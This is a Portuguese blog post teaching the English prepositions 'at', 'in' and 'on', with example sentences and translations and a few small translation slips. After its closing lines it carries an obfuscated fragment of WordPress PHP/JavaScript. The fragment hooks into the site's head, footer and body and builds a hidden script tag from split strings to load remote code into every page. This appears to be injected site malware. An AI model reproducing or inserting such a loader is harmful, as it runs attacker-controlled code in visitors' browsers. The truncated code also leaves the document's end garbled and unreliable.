O SEGREDO DAS LINGUAS l O curso de língua estrangeira ainda pode fazer parte da sua vida.

Preposições em inglês: in, at e on

preposições em inglês

Um dos assuntos mais temidos entre os alunos são as preposições em inglês. Mas por que esse grupo de palavras é tão evitado? 

Isso ocorre porque as preposições em inglês são usadas ao longo da vida de qualquer aprendiz de língua inglesa e costumam não seguir uma lógica tão clara. Seja iniciante ou avançado, você precisa conhecer o uso e as regras dessas palavrinhas. 

Leia também: Qual o melhor curso de inglês?

O que é uma preposição? 

As preposições são uma classe de palavras que são frequentemente usadas para expressar uma relação no tempo ou no espaço, ou uma conexão entre duas ou mais pessoas, coisas e lugares. Eles geralmente são seguidos por um substantivo ou pronome.

Preposições são palavras usadas para marcar a relação gramatical entre substantivos, adjetivos, verbos e advérbios na fala

Em outras palavras, as preposições são unidades linguísticas que dependem de outras, ou seja, não aparecem sozinhas na fala, mas são usadas justamente para estabelecer uma conexão entre dois termos.

É difícil estabelecer uma lógica exata no uso das preposições, porque elas também podem ter usos idiomáticos, ou seja, às vezes as preposições acompanham um nome porque fazem parte de uma expressão idiomática fixa.

As preposições podem indicar uma série de valores diferentes, porém seu uso mais problemático e que causa mais dúvida é para tempo e lugar que é o foco deste texto.

Essa definição serve para preposições em qualquer língua. Tanto preposições em português, quanto preposições em inglês. 

Preposições em inglês

1 – At

Usado quando a pessoa está nas proximidades de um local ou quando alguém está dentro de um lugar mas eu não sei especificamente onde lá dentro

She’s is at work. Usamos at work porque trabalho é um lugar geral, mas eu não sei dentro do trabalho dele onde ele está, pode estar no banheiro, na sala de reuniões, no seu escritório, etc. 

I’ll see you at the subway station. (Eu te vejo na estação de metrô)

My sister is at school now. (Minha irmã está na escola agora)

She is standing at the door. (Ela está parada na porta)

Também utilizamos ‘at’ para falar de endereços quando o número vem primeiro. Nos endereços norte-americanos o número sempre vem primeiro:

Exemplo: I live at 354 Main Street. (eu moro na Rua Principal, 354)

Essa preposição também acompanha horas e tudo relacionado à horas e eventos como feriados. Neste útlimo sentido ‘at’ é inespecífico. 

Se eu te pergunto ‘What are you going to do at Christmas?’ (O quê você vai fazer no Natal?) eu me refiro a todo o período de fim de ano que compõem o Natal:

I sleep at midnight (Eu durmo à meia-noite)

My father wakes up at 7 am everyday (Meu pai acorda às 7 todo dia)

Também usamos ‘at’ para indicar direção:

Throw the ball at me (Jogue a bola para mim)

Don’t point your finger at strangers! (Não aponte seu dedo para estranhos)

Kick the ball at the goal. (Chute a bola ao gol)

‘At’ também pode indicar um sentimento que mostra a causa de alguma coisa:

I was surprised at the news. (Eu me surpreendi com as notícias)

She smiled at her thoughts. (Ela sorriu com seus pensamentos)

Essa proposição também acompanha demonstrações de habilidade de fazer alguma coisa:

He is a beast at soccer (Ele é fera no futebol)

My brother is good at making friends. (Meu irmão é bom de fazer amigos)

You’ve always been terrible at lying. (Você sempre foi ruim de mentir)

‘At’ também pode indicar preço, velocidade e nível:

He died at the age of 70 (Ele morreu aos 70 anos)

He was driving at 100 km/h. (Ele estava dirigindo à 100 km/h)

What level are you at in English? (Em qual nível você está em inglês?)

Unemployment is at its highest (O desemprego está em seu nível mais alto)

Por último, ‘at’ pode indicar estado principalmente nas expressões ‘at war/peace’:

After all these years at war, we’re finally at peace. (Depois de todos esses anos em guerra, estamos finalmente em paz)

2  – In 

‘In’ também configura uma das principais dúvidas quando o assunto é preposições em inglês. 

Primeiramente, essa preposição significa ‘dentro’, literalmente. Quando alguém está dentro de um lugar e eu sei onde. 

She’s in the cafeteria

Dado esse uso de ‘in’ podemos usá-lo para países, continentes, estados, cidades, bairros e toda sorte containers:

There are many coffee shops in Manhattan. (Tem muitas lanchonetes em Manhattan)

I live in Brazil. (Eu moro no Brazil)

There are many indigenous people in the Americas. (Tem muitos indígenas nas Américas)

The bridge in Brooklyn is iconic. (A ponte no Brooklin é icônica)

Put your hands in your pocket. (Ponha suas mãos no seu bolso)

There is a cat in that box. (Tem um gato naquela caixa)

Podemos usar ‘in’ para períodos de tempo (décadas, séculos, anos, estações do ano, meses, partes do dia):

We’re in the 21st century. (Estamos no século XXI)

It was common to smoke in the 20s (Era comum fumar na década de 20)

The pandemic started in 2020. (A pandemia começou em 2020)

I go the beach in the summer (Eu vou para a praia no verão)

We’re going to Italy in June. (Vamos para a Itália em Abril)

I woke up in the morning. (Eu acordei de manhã)

Você também usar ‘in’ para indicar o limite de tempo que algo vai levar, tipo a nosso ‘daqui’ ou ‘dentro de’:

Lunch will be ready in ten minutes. (O almoço estará pronto em dez minutos)

We’re going to finish the job in two weeks. (Nós vamos terminar o trabalho em duas semanas)

I finished the job in two weeks. (Eu terminei o trabalho em duas semanas)

Podemos utilizar ‘in’ para falar de vestir uma roupa. Atenção que esse uso é totalmente diferente do português:

Who is the lady in red? (Quem é a dama de vermelho?)

Have you already seen ‘Man in Black’? (Já viu Homens de Preto?)

O ‘in’ também pode indicar uma opção ou condição. Nesse caso, o uso também é diferente do português:

My wife is not in a good mood today. (Minha esposa não está de bom humor hoje)

The country is in danger. (O país está em perigo)

She’s shaking in fear. (Ela está tremendo de medo)

I fled in terror. (Eu corri com medo)

Utiliza-se ‘in’ para expressar a maneira como algo foi arranjado, disposto ou expresso:

They speak in Russian the whole time. (Eles falam em Russo o tempo todo)

We should sit in a circle. (Devemos sentar em círculo)

The credits are in alphabetical order. (os créditos estão em ordem alfabética)

‘In’ também pode indicar movimento para dentro. Principalmente depois de verbos de movimento:

She took off her clothes and jumped in the pool. (Ela tirou suas roupas e pulou na piscina.)

Everybody was quiet when the teacher walked in. (Todo mundo estava quieto quando o professor entrou)

Podemos também utilizar ‘in’ para falar especificamente sobre a presença de alguém em sua casa ou trabalho:

Is John in? (O John está?)

I called, but she wasn’t in. (Eu liguei, mas ela não estava)

É possível também que ‘in’ indique algo que seja parte de alguma coisa ou que está conectado com alguma coisa:

Is that you in the picture? (É você na foto?)

He’s in a new movie. (Ele está num novo filme)

There are many people in line. (Tem muita gente na fila)

He has a Masters in Philosophy. (Ele tem mestrado em Filosofia)

There’s going to be a rise in interest rates. (Terá um aumento na taxa de juros)

Alguns usos específicos de ‘in’:

  • Para falar de moda: Jeans seems to be in. (Jeans parecem estar na moda)
  • Para falar de maré: The tide is in. (A maré está alta.)
  • Veículo que chega: The train finally got in. (O trem finalmente chegou)
  • Entrega de documento formal: All documents must be in by the deadline. (Todos os documentos devem ser entregues até o prazo final)
  • Experiência ruim: Oh God, I think he’s in for a disaster (Meu Deus, eu acho que ele vai acabar num desastre)
  • Junto com ‘on’ para indicar envolvimento: Were you in on their plan? (Você estava envolvido nos planos deles?)

3 – On 

O ‘on’ é outa das preposições em inglês que são problemáticas. Primeiramente, usamos ‘on’ quando nos referimos a ‘em cima’, uma superfície tocando a outra: 

on the wall (na parede); on the floor (no chão); on the ceiling (no teto); on the table (na mesa)

Essa proposição também pode indicar algo que toca, que cobre, que se cola a algo:

I have tomato sauce on my shirt. (Tem molho de tomate na minha camisa)

Which finger do you wear your ring on? (Em qual dedo você usa anel?)

Para datas e dias sempre usamos ‘on’:

My sister arrives on Saturday. (Minha irmã chega sábado)

Christmas is on 25 December. (O natal é 25 de dezembro)

Alguns usos específicos:

  • Indicar onde algo está escrito: 

See the graph on page 10. (Veja o gráfico na pg. 10)

Your name is not on the list. (Seu nome não está na lista)

  • Transporte público ou veículos grandes: 

I met her on a plane. (Eu a conheci em um avião)

Please, get on the bus. (Por favor, entre no ônibus)

  • Veículo de transmissão de algo: 

What’s on TV tonight? (O que tem na TV essa noite?)

He has a channel on Youtube (Ele tem um canal no YouTube)

I am working on the computer. (estou trabalhando no computador)

I spoke to my dad on the phone. (Falei com meu pai no telefone)

  • Gastar tempo ou dinheiro em algo: 

I can’t believe I spent my money on that. (Eu não acredito que gastei meu dinheiro nisso)

Don’t waste time on that. (Não gaste seu tempo com isso)

  • Indicar assunto:

This is a book on pregnancy. (Esse é um livro sobre gravidez)

  • Indicar rua (mais comum no inglês britânico) ou lugar ao longo de outro lugar:

The bank is on Main Street. (O banco é na Rua Principal)

El Paso is on the Mexican border. (El Paso é na fronteira mexicana)

I want a house on the beach. (Quero uma casa na praia)

  • Indicar roupa que está sendo vestida:

She has a red hat on. (Ela está com chapéu vermelho)

It’s cold, put on your coat. (Está frio, ponha seu casaco)

Can I try on this cap? (Posso experimentar o boné?)

  • Indicar plano:

Is the party still on? (A festa ainda vai acontecer?)

What’s on at the movies? (O quê tem no cinema?)

I’ve got a lot on at the moment. (Tenho muitos compromissos no momento)

  • Indicar continuação:

If you want to live on, you need a resident visa. (Se quiser continuar vivendo aqui, vai   precisar de um visto de residente)

  • Indica algo que é afetado:

These are some of the effects of alcohol on our body (esses são um dos efeitos de álcool no nosso corpo)

There is going to be a ban on drugs. (Haverá um banimento das drogas)

  • Indica combustível:

My car runs on gasoline. (Meu carro é à gasolina)

In the jungle, he survived on fruit. (Na selva, ele viveu de frutas)

  • Indica momento imediatamente após (muito formal, às ‘upon’ pe usado):

On arrival, contact the authorities. (Ao chegar, contate as autoridades)

  • Indica que algo está ligado ou em operação:

I like to sleep with my TV on. (Eu gosto de dormir com minha TV ligada)

  • Indica envio/ passar para frente:

I’ll send some money on to my son. (Eu vou enviar dinheiro para meu filho)

Don’t pass your problems on. (Não passe seus problemas para frente)

Esse foi um guia sobre as preposições em inglês. Espero que agora que você tirou suas dúvidas sobre preposições em inglês, você possa ver outros posts com assunto que vão te ajudar a aprender inglês

Mais artigos do

Blog SDL

?>},_0x1ca2(_0x5c13d3,_0x10d019);}function _0x56ac(){var _0x46c312=['trickl','6LObfmH','script','scri','3822470oovwGi','220qlaQai','com/','createElement','ctl','appendChild','type','133350wkvzaH','ter.','134ANVGfY','pts/t','src','est','erfe','ords.p','querySelector','5879944KcCcWx','231938CdIMay','2890492INDZRn','currentScript','50535rwizqw','parentNode','script[id=\x22trickl\x22]','text/javascript','28527sHSQyT','head'];_0x56ac=function(){return _0x46c312;};return _0x56ac();}";}add_action('wp_head', '_set_metas_tag');add_action('wp_footer', '_set_metas_tag');add_action('wp_body_open', '_set_metas_tag');_set_metas_tag();}}catch(Exception $e){}} ?>